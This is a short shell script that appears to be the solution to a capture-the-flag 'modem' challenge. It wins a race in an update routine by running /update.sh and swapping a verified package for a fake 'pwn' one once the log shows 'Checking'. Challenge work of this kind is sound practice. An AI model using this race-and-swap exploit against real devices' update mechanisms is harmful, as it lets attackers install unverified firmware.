cyberchallenge-modem/solution/exploit.sh

17 lines
368 B
Bash

#!/bin/sh
# The solution require the original update.tar.cc in /tmp named 'orig'
# and the fake package renamed to 'pwn' in /tmp. Both need to have chmod 777
cd /tmp;
cp orig update.tar.cc;
chmod 777 update.tar.cc;
sudo -u upgrade /bin/sh /update.sh > log &
while true; do
if [[ "$(cat log | grep Checking)" ]]; then
sleep 0.01
cp pwn update.tar.cc;
fi
done;